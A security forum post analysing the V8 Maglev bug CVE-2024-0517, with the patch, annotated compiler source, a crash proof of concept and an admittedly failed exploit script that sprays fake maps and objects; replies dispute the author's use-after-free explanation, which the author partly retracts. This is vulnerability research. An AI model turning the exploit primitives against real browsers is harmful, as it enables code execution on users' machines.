首页
社区
课程
招聘
[原创] CVE-2024-0517:【分析可能存在错误,后面调试成功在进行修改,也欢迎大家评论区讨论交流,相互指正才能相互进步】
2024-4-21 20:17 1399

[原创] CVE-2024-0517:【分析可能存在错误,后面调试成功在进行修改,也欢迎大家评论区讨论交流,相互指正才能相互进步】

2024-4-21 20:17
1399

前言

Error Fold Allocations in VisitFindNonDefaultConstructorOrConstruct

这个漏洞发生在 MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct 函数中,考虑之前分析的 CVE-2023-4069 也是发生在该函数中,所以打算把该漏洞也分析了。该漏洞主要发生在折叠分配时,未考虑内存空间分配与初始化之间的操作可能导致触发 gc,从而导致 UAF

环境搭建

1
2
git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient sync -D

漏洞分析

还是从 patch 入手:

1
2
3
4
5
6
7
8
9
10
11
12
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index ad7eccf..3dd3df5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5597,6 +5597,7 @@
           object = BuildAllocateFastObject(
               FastObject(new_target_function->AsJSFunction(), zone(), broker()),
               AllocationType::kYoung);
+          ClearCurrentRawAllocation();
         } else {
           object = BuildCallBuiltin<Builtin::kFastNewObject>(
               {GetConstant(current_function), new_target});

可以看到补丁代码非常简单,就是添加了个 ClearCurrentRawAllocation 函数:

1
2
3
void MaglevGraphBuilder::ClearCurrentRawAllocation() {
  current_raw_allocation_ = nullptr;
}

该函数的功能为将 current_raw_allocation_ 指针清空

这里补丁代码打在了 TryBuildFindNonDefaultConstructorOrConstruct 函数中,其上层调用链为:

1
2
VisitFindNonDefaultConstructorOrConstruct
    TryBuildFindNonDefaultConstructorOrConstruct

VisitFindNonDefaultConstructorOrConstruct 其实我们在之前分析 CVE-2023-4069 时就详细分析过,其主要就是处理 FindNonDefaultConstructorOrConstruct 节点的,但是这里还是放一下代码分析吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0); // target
  ValueNode* new_target = LoadRegisterTagged(1);    // new_target
 
  auto register_pair = iterator_.GetRegisterPairOperand(2);
  // 先调用 TryBuildFindNonDefaultConstructorOrConstruct
  if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
      return;
  }
  // 失败则调用 Builtin_FindNonDefaultConstructorOrConstruct
  CallBuiltin* result =
      BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target});
  StoreRegisterPair(register_pair, result);
}

这里会先调用 TryBuildFindNonDefaultConstructorOrConstruct 尝试进行图创建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
    ValueNode* this_function, ValueNode* new_target,
    std::pair<interpreter::Register, interpreter::Register> result) {
  // See also:
  // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct
  // 【1】获取 target constant
  compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function);
  if (!maybe_constant) return false;
  // 获取 map 和原型链上的对象
  compiler::MapRef function_map = maybe_constant->map(broker());
  compiler::HeapObjectRef current = function_map.prototype(broker());
 
  // TODO(v8:13091): Don't produce incomplete stack traces when debug is active.
  // We already deopt when a breakpoint is set. But it would be even nicer to
  // avoid producting incomplete stack traces when when debug is active, even if
  // there are no breakpoints - then a user inspecting stack traces via Dev
  // Tools would always see the full stack trace.
  // 遍历原型链
  while (true) {
    // 遍历 __proto__
    // 如果原型对象不是 JSFunction,则遍历结束
    if (!current.IsJSFunction()) return false;
    // 当前原型对象 current_function
    compiler::JSFunctionRef current_function = current.AsJSFunction();
 
    // If there are class fields, bail out. TODO(v8:13091): Handle them here.
    if (current_function.shared(broker()).requires_instance_members_initializer()) {
      return false;
    }
 
    // If there are private methods, bail out. TODO(v8:13091): Handle them here.
    if (current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) {
      return false;
    }
    // 获取函数类型 kind
    FunctionKind kind = current_function.shared(broker()).kind();
    // 如果是派生默认构造函数,则直接跳过
    if (kind != FunctionKind::kDefaultDerivedConstructor) {
      // The hierarchy walk will end here; this is the last change to bail out
      // before creating new nodes.
      if (!broker()->dependencies()->DependOnArrayIteratorProtector()) {
        return false;
      }
      // 【2】获取 new_target constant
      compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
      // 如果是顶层默认构造函数,则进行相关处理
      if (kind == FunctionKind::kDefaultBaseConstructor) {
        // Store the result register first, so that a lazy deopt in
        // `FastNewObject` writes `true` to this register.
        StoreRegister(result.first, GetBooleanConstant(true));
 
        ValueNode* object;
        // new_target_function 存在且是 JSFunction
        // 并且 new_target_function 具有一个有效的 initial_map
        //  即 initial_map.constructor ==? target
        if (new_target_function && new_target_function->IsJSFunction() &&
            HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) {
             //【3】为对象分配空间
              object = BuildAllocateFastObject(
                  FastObject(new_target_function->AsJSFunction(), zone(), broker()),
                  AllocationType::kYoung);
        } else {
          object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target});
          // We've already stored "true" into result.first, so a deopt here just
          // has to store result.second. Also mark result.first as being used,
          // since the lazy deopt frame won't have marked it since it used to be
          // a result register.
          current_interpreter_frame_.get(result.first)->add_use();
          object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
        }
        StoreRegister(result.second, object);
      } else {
        StoreRegister(result.first, GetBooleanConstant(false));
        StoreRegister(result.second, GetConstant(current));
      }
 
      broker()->dependencies()->DependOnStablePrototypeChain(
          function_map, WhereToStart::kStartAtReceiver, current_function);
      return true;
    }
 
    // Keep walking up the class tree.
    // 遍历下一个 __proto__
    current = current_function.map(broker()).prototype(broker());
  }
}

可以看到这里我们可以将其分为快速路径和慢速路径,快速路径主要就是利用 new_target.initial 直接进行对象创建,慢速路径则退回到内建函数 FastNewObject,这里我们主要看快速路径,快速路径为 【1】->【2】->【3】,而 【3】 也是漏洞代码所在处,所以需要满足以下条件:

  • 1、TryGetConstant(this_function)
  • 2、TryGetConstant(new_target)
  • 3、new_target.initial.constructor === target

这里想要到达想要到达漏洞逻辑,得绕过这三个判断,前面两个还是之前的方式插入 CheckValue 节点绕过,第三个就不多说了,new_target 是派生构造函数即可,或者顶层默认构造函数也????,比较简单

最后为分配对象的语句如下,也是漏洞代码所在处:

1
2
3
object = BuildAllocateFastObject(
        FastObject(new_target_function->AsJSFunction(), zone(), broker()),
        AllocationType::kYoung);

然后跟进 BuildAllocateFastObject,看其是如何创建对象的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) {
  SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
  for (int i = 0; i < object.inobject_properties; ++i) {
    // MaglevGraphBuilder::BuildAllocateFastObject(FastField value, AllocationType allocation_type)
    properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
  }
  // elements
  // MaglevGraphBuilder::BuildAllocateFastObject(FastFixedArray value, AllocationType allocation_type)
  ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);
 
  DCHECK(object.map.IsJSObjectMap());
  // TODO(leszeks): Fold allocations. 尝试折叠分配,allocation 就是分配空间的指针
  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);
  // 设置对象的 map,主要就是添加一个 StoreMap 节点
  BuildStoreReceiverMap(allocation, object.map);
  // 设置 Properties 为 EmptyFixedArray,添加 StoreTaggedFieldNoWriteBarrier 节点
  AddNewNode<StoreTaggedFieldNoWriteBarrier>(
      {allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset);
   
 if (object.js_array_length.has_value()) {
    // 如果 js_array_length 有值,则初始化 length
    // 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
    BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset);
  }
  // 设置 Elements
  // 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
  BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
  // 设置属性
  for (int i = 0; i < object.inobject_properties; ++i) {
    BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i));
  }
  return allocation;
}

这里可以看到分配空间调用了 ExtendOrReallocateCurrentRawAllocation 函数,其会尝试折叠分配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
                                    int size, AllocationType allocation_type) {
  // 【1】
  if (!current_raw_allocation_ || // current_raw_allocation_ 为空
      current_raw_allocation_->allocation_type() != allocation_type || // 分配类型不一致
      !v8_flags.inline_new)     // 头一次分配
  {        
    // 分配 size 空间,节点为 AllocateRaw
    current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
    return current_raw_allocation_;
  }
  // 如果上面三个条件都不满足,则会走到这里
  // 即 current_raw_allocation_ 不为空,且分配类型一致,且不是头一次分配
  int current_size = current_raw_allocation_->size();
  // 【2】检查是否可以折叠分配
  //    如果折叠分配后空间太大,则单独分配,并更新 current_raw_allocation_
  if (current_size + size > kMaxRegularHeapObjectSize) {
    return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
  }
  // 【3】折叠分配,current_size 应当大于 0
  DCHECK_GT(current_size, 0);
  int previous_end = current_size; // previous_end 即当前对象的起始位置
  current_raw_allocation_->extend(size); // 扩展当前分配空间
  // FoldedAllocation 节点,这里只记录 current_raw_allocation_ / previous_end 即可
  // 该对象的位置为:current_raw_allocation_ + previous_end
  return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}

先来说下什么是折叠分配?顾名思义,当我们在进行内存分配时,可能每次分配一小块内存,比如下面场景:

1
2
3
4
ptr1 = malloc(0x10)
do something1
prt2 = malloc(0x20)
do something2

而多次分配内存可能是一个比较耗时的行为,于是编译器在静态分析阶段,会尝试进行分配折叠优化:

1
2
3
4
prt1 = current_raw_allocation_ = malloc(0x30)
prt2 = current_raw_allocation_ + 0x10
do something1
do something2

这里就避免了多次内存分配,但在动态类型语言中,可能会出现一些问题,比如在 JavaScript 中,内存是由 gc 进行管理的,在 V8 中,没有被 root object 直接或间接引用的对象被标记为死对象,在触发 gc 时会被回收。所以考虑如下场景:

1
2
3
4
var obj1 = AllocateRaw(0x10);
do something1 ==> trigger gc
var obj2 = AllocateRaw(0x20);
do something2 ==> use obj2

而如果此时发生分配折叠优化:

1
2
3
4
5
var obj1 = AllocateRaw(0x30) = current_raw_allocation_
var obj2 = current_raw_allocation_ + 0x10
do something1 ==> trigger gc
init obj2
do something2 ==> use obj2

这里的问题就是在分配完空间后,只对 obj1 的部分进行了初始化,而 obj2 的初始化则是在后面,那么如果在初始化 obj2 之前触发了 gc,那么此时 current_raw_allocation_+0x10 这后面的内存就会被回收掉,如果我们此时分配对象占据这块内存,后面 do something2 时,仍然使用 current_raw_allocation_+0x10,则导致 UAF

让我们回到该漏洞分析中,通过上面的分析我们可以知道:

  • 在创建 this 对象时,保留了 current_raw_allocation_ 指针,所以如果后面存在内存分配,则可能发生分配折叠

poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class A {}
class B extends A {
        constructor() {
                const check = new new.target;
                super();
                %DebugPrint(this);
                let g = new Array(0x1000).fill(2.2); // 触发 gc
                let o = [1.1,1.1,1.1,1.1,1.1,1.1]; // 会与 this 创建进行合并
        }
}
 
for (let i = 0; i < 0x1000; i++) {
        Reflect.construct(B, [], A);
}

这里先来看下 Maglev IR
在这里插入图片描述
调试分析下:

this 对象的地址为 0x2bca002ba4d5instance_size = 12,与 Maglev IR 图是吻合的:
在这里插入图片描述
然后程序就 crash 了:
在这里插入图片描述
从调用栈中的函数名称可以知道,明显触发了 gc,而这里 rsi 的值为一个 --- 地址,所以发生内存访问错误。这里我们来看下 this 对象下方的内存:
在这里插入图片描述
这里我们换个角度看:0x2bca002ba4d5-1 = this_addr ==> o_addr = this_addr+12
在这里插入图片描述
看到这里其实就明白了,最开始分配了 84 字节的空间,减去 this 对象占据的头 12 字节的空间,还剩下 72 字节的空间,这 72 字节其实就是包含了 o 对象本身的空间和其 elements 占据的空间

而这段空间在 o 对象初始化之前在 gc 的过程中被释放了,然后又被其它对象占据了,所以在 o 初始化这段空间时就发生了 UAF,即把其它对象内容给覆盖了,所以后面的 rsi0x2bca3ff19999 = 0x2bca00000000 + 0x3ff19999,这里的 0x3ff19999 就是 1.1 的头 4 字节

漏洞利用【todo

嗯,,,笔者感觉这个漏洞想要稳定利用还是比较困难的,因为我们无法精准控制 gc,并且也无法精确控制释放后的内存被哪个对象占据。后面看看别人的 expliot 吧,主要是这里的 gc 搞得我很烦,还是太菜了~~~
======================== 后续 ================================
写利用写了两天,但是还是没写出来,gc 后似乎拿不到指定的内存,主要是 victim 始终在 this 对象的上方,不知道为啥,看参考文章说其应该在下方~~~太菜了,然后不想在继续浪费时间了,后面有灵感了在回来写利用,暂时留个坑

失败的 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
 
function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}
 
function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}
 
 
function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}
 
function set_u64(val) {
        u64[0] = val;
}
 
function set_l(l) {
        u32[0] = l;
}
 
function set_h(h) {
        u32[1] = h;
}
 
function get_l() {
        return u32[0];
}
 
function get_h() {
        return u32[1];
}
 
function get_u64() {
        return u64[0];
}
 
function get_f64() {
        return f64[0];
}
 
function get_fl(val) {
        f64[0] = val;
        return u32[0];
}
 
function get_fh(val) {
        f64[0] = val;
        return u32[1];
}
 
function add_ref(obj) {
        roots[index++] = obj;
}
 
var gc_flag= false;
function major_gc() {
        if (gc_flag) {
                new ArrayBuffer(0x7fe00000);
                return 0;
        }
        return 1;
}
 
function minor_gc() {
        if (gc_flag) {
                for (let i = 0; i < 8; i++) {
                        add_ref(new ArrayBuffer(0x200000));
                }
                add_ref(new ArrayBuffer(8));
                return 2;
        }
        return 1;
}
 
function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}
 
function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}
 
var spray_array = new Array(0xf700).fill(1.1);
var element_start_addr = 0x00442139;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
var element_map_addr = fake_object_addr + 0x200;
//0x3204040400183c39      0x0a0007ff11000842
spray_array[(map_addr               - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404); // 这里也可以直接照抄
spray_array[(map_addr              - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr      - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr      - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
 
/*
0x61000000000004c5
0x004003ff0c0000b1
0x0000007d0000007d
0x000006dd00000701
0x0000000000000000
*/
 
spray_array[(element_map_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x61000000000004c5n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x004003ff0c0000b1n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 2] = u64_to_f64(0x0000007d0000007dn);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x000006dd00000701n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000000n);
 
/*
0x000100010000062d
0x000006f500000000
0x0000018400002b29
0x0000000000000002
*/
/*
var descriptors_addr = element_map_addr + 0x100;
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x000100010000062dn);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x000006f500000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 2] = pair_u32_to_f64(descriptors_addr+0x28, 0x00000184);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000002n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 4] = u64_to_f64(0x0000000000000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 5] = u64_to_f64(0x0000000000000070n);
*/
 
/*
0xd6d6d7e2000003d5
0x0000006f00000001
*/
 
var str_addr = element_map_addr + 0x100;
spray_array[(str_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0xd6d6d7e2000003d5n);
spray_array[(str_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0000007000000001n);
 
print("fake_object_addr:", pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
hexx("fake_object_addr", fake_object_addr+1);
hexx("element_map_addr", element_map_addr+1);
//hexx("descriptors_addr", descriptors_addr+1);
 
//print("TEST:", pair_u32_to_f64(0x41414141, 0x41414141));
 
//var nnn = pair_u32_to_f64(0x41414141, 0x41414141);
var header = pair_u32_to_f64(element_map_addr+1, 0x40);
//var X = pair_u32_to_f64(descriptors_addr+0x28+1, descriptors_addr+0x28+1);
var X = pair_u32_to_f64(str_addr+1, 1);
var nnn = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var debug = false;
var empty_object = {};
class A {}
class B extends A {
        constructor() {
                const check = new new.target;
                let v = [
                        empty_object,empty_object,empty_object,empty_object,
                        empty_object,empty_object,empty_object,empty_object,
                ];
                super();
                let o = [
                        header, header, header, header,
                        X,X,X,X,X,X,X,X,
                        nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
                        nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
                        nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
                        header, header, header, header,
                ];
 
                this.o = o;
                this.v = v;
        }
        [100] = major_gc();
}
 
for (let i = 0; i < 200; i++) {
        if (i % 2 == 0) gc_flag = true;
        major_gc();
        gc_flag = false;
 
}
 
var w = null;
const N = 640;
const M = 644;
const S = 650;
var block = null;
for (let i = 0; i < S; i++) {
        gc_flag = false;
        if (i == N || (M < i && i < M+4)) {
                gc_flag = true;
                major_gc();
                gc_flag = false;
        }
 
        if (i == M+3) {
                gc_flag = true;
        //      major_gc();
        //      major_gc();
        //      major_gc();
 
        //      let tmp1 = { o:{}, v:{} };
        //      block = [1.1, 1.1, 1.1, 1.1, 1.1];
        //      let tmp2 = [
        //              empty_object,empty_object,empty_object,empty_object,
        //              empty_object,empty_object,empty_object,empty_object,
        //      ];
        //      minor_gc();
        //      %DebugPrint(tmp1);
        //      %DebugPrint(block);
        //      %DebugPrint(tmp2);
 
        }
 
        let r = Reflect.construct(B, [], A);
        if (i == M+3) w = r;
}
/*
print("================ w ======================");
%DebugPrint(w);
print("================ w.o ====================");
%DebugPrint(w.o);
print("================ w.v ====================");
%DebugPrint(w.v);
print("=========================================");
*/
try {
        print(w.v[0]);
} catch (m) {
        %DebugPrint(w['p']);
        %DebugPrint(w);
}
 
print("END");

如有读者能够写出稳定的利用,希望不吝赐教

总结

通过分析该漏洞,学习到了分配折叠优化,目前已经通过复现漏洞学习了编译的如下常见优化方式:

  • 常量折叠
  • 公共子表达式消除
  • 数组边界检查消除
  • 逃逸分析
  • 分配折叠

总的来说还是不错的,弥补了自己对编译器知识的匮乏,希望后面能够学到更多有趣的编译器漏洞

参考

Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2024-4-22 13:05 被XiaozaYa编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (17)
雪    币: 4283
活跃值: (2913)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
苏啊树 4 2024-4-22 10:36
2
0

Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution这标题意思是越界写,不是UAF,这个如果没弄清的话估计用不出来。                                                                                                     
我看了这篇文章,还没有自己调试,我的理解是,因为优化过程中没考虑到垃圾回收的情况,所以那个指针Offset+12没有清零。

但是发生垃圾回收到了新堆块以后,Offset+12之前的对象+4,+8偏移的对象被垃圾回收清除,并不会转移到新的堆块,这时再用新堆块+Offset12索引的话,就会越界写破坏到了别的对象。

如果我的理解是正确的,这个漏洞利用不需要占据释放后的内存,只需要知道垃圾回收后的内存布局,然后越界修改就行了。


最后于 2024-4-22 10:42 被苏啊树编辑 ,原因:
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-22 12:52
3
0
本质就不是一个UAF吗?gc时把那块内存回收了,而后面赋值时重写了那块内存。可能我没搞明白,等下我看看能不能找管理把这篇文章先下了
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-22 12:57
4
0
苏啊树 Google&nbsp;Chrome&nbsp;V8&nbsp;CVE-2024-0517&nbsp;Out-of-Bounds&nbsp;Write& ...
感觉你应该是对的,根据 Maglev IR 来看,current_raw_allocation_  应该是保存在栈上的。后面进行初始化时是直接从栈上拿的 current_raw_allocation_  指针,所以确实应该只是一个越界写......我就说咋这么难写。。最开始是自己分析的,所以把他当成 UAF 了,参考文章我没细读,就看了看利用的部分,感谢大佬指正,我后面调试一下,然后在改一改吧
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-22 13:02
5
0

确实是从栈上获取的 current_raw_allocation_ 指针

雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-22 13:11
6
0
但我还是感觉是一个 UAF,,,,
雪    币: 4283
活跃值: (2913)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
苏啊树 4 2024-4-22 13:31
7
0
XiaozaYa 但我还是感觉是一个 UAF,,,,[em_5]

栈上的指针指向前后因为垃圾回收前后指向的值应该发生了变化,这个情况在MaglevIR层面上好像看不到,垃圾回收后在这个IR指令层面从栈拿出来后那个地址已经指向了垃圾回收后的地址,但是问题是在垃圾回收之后,他前面的对象已经被回收了,这时正确的处理应该是使用offset为0的地址索引,但是有漏洞的版本使用offset+12,越界写到了其他对象,造成了崩溃。

就是你截图的 31/32FoldAllocation[+12]这个指令,是有问题的。

所以利用时候应该是越界写相邻的数组大小这种思路,而不是UAF的利用方法,不是依靠占位,我估计这就是你一直没有成功利用的原因。。。

最后于 2024-4-22 13:37 被苏啊树编辑 ,原因:
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-22 13:57
8
0
嗯....仔细的看了下EXODUS上的解析文章,似乎有点明白了:触发 gc 后,原始分配的空间会被移动,但是移动后分配的空间只是第一个已经初始化对象的空间,所以当第二个折叠分配对象初始化时则导致了越界写,所以这里需要让目标对象分配在 this 对象的下面才能完成覆写(:我的 exp 一直不成功的原因就是目标对象一直在 this 对象的上面,导致覆盖写数据失败....所以这里其实还是要占据 this 下面的空间。也是我是时候深入 gc 了
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-22 14:02
9
0
苏啊树 XiaozaYa 但我还是感觉是一个 UAF,,,,[em_5] 栈上的指针指向前后因为垃圾回收前后指向的值应该发生了变化,这个 ...
从  0 开始写也是错误的应该,因为 gc 后根本没有为第二个对象分配空间。。。就不应该优化
雪    币: 4283
活跃值: (2913)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
苏啊树 4 2024-4-22 14:48
10
0
XiaozaYa 从 0 开始写也是错误的应该,因为 gc 后根本没有为第二个对象分配空间。。。就不应该优化
可以打好补丁再看看指令变化验证一下
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 2024-4-22 14:59
11
0
苏啊树 可以打好补丁再看看指令变化验证一下
是的,感谢大佬的指正,后面会在重新好好调一调
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
岚沐 2024-4-27 20:35
12
0
我调试了一下,如果在super之前分配一个对象x,在super之后分配一个对象y,在调用super的时候,不会把对象x算作在折叠分配中,但会把y和this的分配一起进行折叠。x->super->y这个过程中,在super存在gc,感觉目的好像是为了让x的对象重新排布在this后面,然后通过之前折叠的y,从而可以越界写x的内容
雪    币: 70
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
999 6天前
13
0

我的理解,第一次折叠分配初始化后,与第二次分配初始化前,如果触发了GC,会把第一次分配移动到新的内存区域中,而第二次分配因为没有被初始化GC会把他清理掉导致初始化第二次分配的时候会从第一次分配的也就是内存起始地址的12偏移处开始写入(假设第一次分配12bytes),因为第二次分配被清理没有给他预留内存,所以此处存放的并不是第二次分配的对象所以导致写到了其他对象字段

最后于 6天前 被999编辑 ,原因:
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 6天前
14
0
岚沐 我调试了一下,如果在super之前分配一个对象x,在super之后分配一个对象y,在调用super的时候,不会把对象x算作在折叠分配中,但会把y和this的分配一起进行折叠。x->super-& ...
问题是我调试触发 gc后 x 对象并不在 this 对象后面,所以导致覆写失败
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 6天前
15
0
999 我的理解,第一次折叠分配初始化后,与第二次分配初始化前,如果触发了GC,会把第一次分配移动到新的内存区域中,而第二次分配因为没有被初始化GC会把他清理掉导致初始化第二次分配的时候会从第一次分配的也就是 ...
我后面调试确实就是这样的,从 new_space -> old_space,没有给第二个对象分配空间。但是写利用有个问题就是:如果把目标对象分配在 this 对象的后面,这样才能有效覆写关键数据
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 6天前
16
0
岚沐 我调试了一下,如果在super之前分配一个对象x,在super之后分配一个对象y,在调用super的时候,不会把对象x算作在折叠分配中,但会把y和this的分配一起进行折叠。x->super-& ...
嗯....这里 gc 的目的不是这个
雪    币: 70
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
999 6天前
17
0
XiaozaYa 我后面调试确实就是这样的,从 new_space -> old_space,没有给第二个对象分配空间。但是写利用有个问题就是:如果把目标对象分配在 this 对象的后面,这样才能有效覆写关键数据
issue tracker上有利用代码,实在写不出来利用的话或许可以参考参考
雪    币: 4817
活跃值: (1570)
能力值: ( LV9,RANK:200 )
在线值:
发帖
回帖
粉丝
XiaozaYa 4 4天前
18
0
999 issue tracker上有利用代码,实在写不出来利用的话或许可以参考参考
那个我很早就调过了,没调通(:把 %NativeFunction 替换为循环触发后,内存布局不好控制(:就这样吧,我想开了
游客
登录 | 注册 方可回帖
返回